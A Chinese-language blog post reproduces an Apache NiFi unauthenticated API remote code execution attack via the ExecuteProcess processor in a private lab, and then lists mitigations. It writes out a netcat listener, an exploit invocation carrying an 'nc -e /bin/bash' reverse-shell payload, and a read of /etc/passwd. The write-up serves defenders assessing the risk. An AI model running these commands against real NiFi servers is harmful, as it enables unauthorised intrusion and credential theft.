NIFI远程代码执行漏洞-ExecuteProcess


背景

Apache NiFi API Remote Code Execution

Apache NiFI Api RCE

Add new Apache NiFi RCE exploit module

最近公司安全给我维护的NiFi项目提了一个严重的安全漏洞,那么我就来研究一下吧。

NiFi 的默认安装是不安全的并且通过 HTTP 运行,该漏洞就是是利用 Apache NiFi 中的弱配置,也就是无需用户密码,可通过使用NiFi API自动创建ExecuteProcess 处理器创建、配置和运行命令,然后停止和删除处理器,从而达到悄无声息的进行远程命令攻击。

NiFi 默认包含许多处理器,其中ExecuteProcess 是一个可用于运行系统命令的处理器。类似的有“危险”处理器,例如 ExecuteScript,利用的系统上已经安装这些脚本语言,通过注入脚本的方式进行远程脚本攻击。

漏洞前提

  1. ExecuteProcess 处理器必须可用
  2. API 必须不安全(或提供凭据/令牌)

环境准备

  1. 无需登录的NIFI单节点:192.168.42.6

  2. kerberos认证的NIFI集群节点:192.168.42.3

  3. 攻击的服务器:192.168.42.4

    yum install nc -y
    yum install nmap -y

    nc的作用
    (1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
    (2)端口的扫描,nc可以作为client发起TCP或UDP连接
    (3)机器之间传输文件
    (4)机器之间网络测速

  4. python3.9安装下列模块

    pip install requests 

操作验证

第一步:192.168.42.4开启nc监听

nc -lvp 1234

建立ne连接

第二步:执行攻击命令

python exp.py "http://192.168.42.6:8080" "nc -e /bin/bash 192.168.42.4 1234"

executeProcessor

页面多了一个ExecuteProcess

flow创建历史查看

NiFi History记录了ExecuteProcess创建过程

配置查看

查看ExecuteProcess注入的配置

第三步:192.168.42.4执行攻击命令

cat /etc/passwd

攻击查看密码

如上图,192.168.42.6的命令就可以操作。

第四步:攻击有kerberos认证的NIFI服务器

python exp.py "http://192.168.42.3:8080" "nc -e /bin/bash 192.168.42.4 1234"

https防攻击

如图,因为有密码则无法简单的连接注入脚本攻击

结论

  1. NIFI的不设置登录是不安全。
  2. NIFI的强大的脚本执行处理器以及脚本执行处理器存在注入风险。
  3. NIFI1.14.0一下版本均存在上述风险,解决措施
    • 给NIFI设置密码,定期更换密码,不适用弱密码
    • 从源码nar包中剔除有注入风险的处理器,需要重新编译源码

文章作者: huhuhuhr
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 huhuhuhr !
  目录